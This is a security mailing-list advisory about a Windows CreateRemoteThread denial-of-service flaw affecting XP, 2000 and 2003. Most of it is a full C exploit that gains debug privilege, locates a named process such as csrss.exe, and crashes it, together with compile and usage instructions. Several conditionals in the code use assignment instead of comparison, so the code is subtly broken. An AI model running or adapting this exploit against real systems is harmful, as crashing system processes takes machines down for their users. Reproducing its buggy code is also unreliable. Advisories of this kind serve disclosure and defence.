[EXPL] Microsoft Windows CreateRemoteThread DoS (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Microsoft Windows CreateRemoteThread DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

The following exploit call the function CreateRemoteThread() with the
following parameters "Process,0,0,x,0,0,0", which in turn will cause all
the processes opened by the OpenProcess function, to crash, effectively
causing a aDoS.

DETAILS

Vulnerable Systems:
* Windows XP SP 2 and prior
* Windows 2000 PRO SP 4 and prior
* Windows 2000 Server SP 4 and prior
* Windows 2000 AdvServer SP 4 and prior
* Windows 2003 AdvServer SP 1 and prior

Exploit:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

BOOL exploit(char* chProcessName)
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
BOOL bFound = FALSE;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};
UINT uExitCode = 0;
DWORD dwExitCode = 0;
LPDWORD lpExitCode = &dwExitCode;
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY | TOKEN_READ,&hToken))
return FALSE;

if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
return TRUE;

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = 1 ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken,FALSE,&tp,0,0,0);

CloseHandle(hToken);
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap = INVALID_HANDLE_VALUE)
return (FALSE);

pe32.dwSize = sizeof(PROCESSENTRY32);

printf("\n[+] Search For Process ... \n");

while(!bFound && Process32Next(hProcessSnap, &pe32))
{
if(lstrcmpi(pe32.szExeFile, chProcessName) = 0)
bFound = TRUE;
}

CloseHandle(hProcessSnap);
if(!bFound){
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;
printf("[-] Sorry Process Not Find \n");

return(FALSE);

}
printf("[+] Process Find \n");

hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION,
FALSE, pe32.th32ProcessID);
if(hProcess = NULL){
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;
printf("[-] Exploit Failed :( \n");

return(FALSE);
}
printf("[+] Send Exploit To Process ...\n");
CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void
*))100,0,0,0);
printf("[+] Successful :)\n");
return(pe32.th32ProcessID);
}

int main(int argc,char **argv)
{
char* chProcess = argv[1];

COORD coordScreen = { 0, 0 };
DWORD cCharsWritten;
CONSOLE_SCREEN_BUFFER_INFO csbi;
DWORD dwConSize;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);

GetConsoleScreenBufferInfo(hConsole, &csbi);
dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize,
coordScreen, &cCharsWritten);
GetConsoleScreenBufferInfo(hConsole, &csbi);
FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize,
coordScreen, &cCharsWritten);
SetConsoleCursorPosition(hConsole, coordScreen);

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_GREEN| FOREGROUND_INTENSITY) ;
if(argc !=2) {
printf("\n");
printf(" ===================================== \n");
printf(" > Microsoft Windows CreateRemoteThread Exploit Version 2.0
(0day) < \n");
printf(" > Now All Process Will Crash < \n");
printf(" > BUG Find By Q7X ( Nima Salehi ) Q7X@xxxxxxxxxxxx < \n");

printf(" > Exploited By Q7X ( Nima Salehi ) Q7X@xxxxxxxxxxxx < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);


printf(" > Compile : cl -o nima.c ( Win32/VC++ ) < \n");

printf(" > Usage : nima.exe Process < \n");
printf(" > Example : nima.exe csrss.exe < \n");
printf(" > Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000
AdvServer (SP4) < \n");
printf(" > Windows 2000 Server (SP4), Windows 2003 (SP0 , SP1) < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;

printf(" > Copyright 2002-2005 By Ashiyane Digital Network Security Team
< \n");
printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not Free ) <
\n");

printf(" > Special Tanx To My Best Friends : Behrooz_Ice - ActionSpider <
\n");
printf(" > illwill - m_lover_2003 - silversmith - crash - Uranium <
\n");

printf(" ===================================== \n");
}
else
exploit(chProcess);

SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_RED
|FOREGROUND_GREEN|FOREGROUND_BLUE);
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by <mailto:nima.salehi@xxxxxxxxx> Nima
salehi.
The original article can be found at: <http://www.ashiyane.com/>
http://www.ashiyane.com/



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages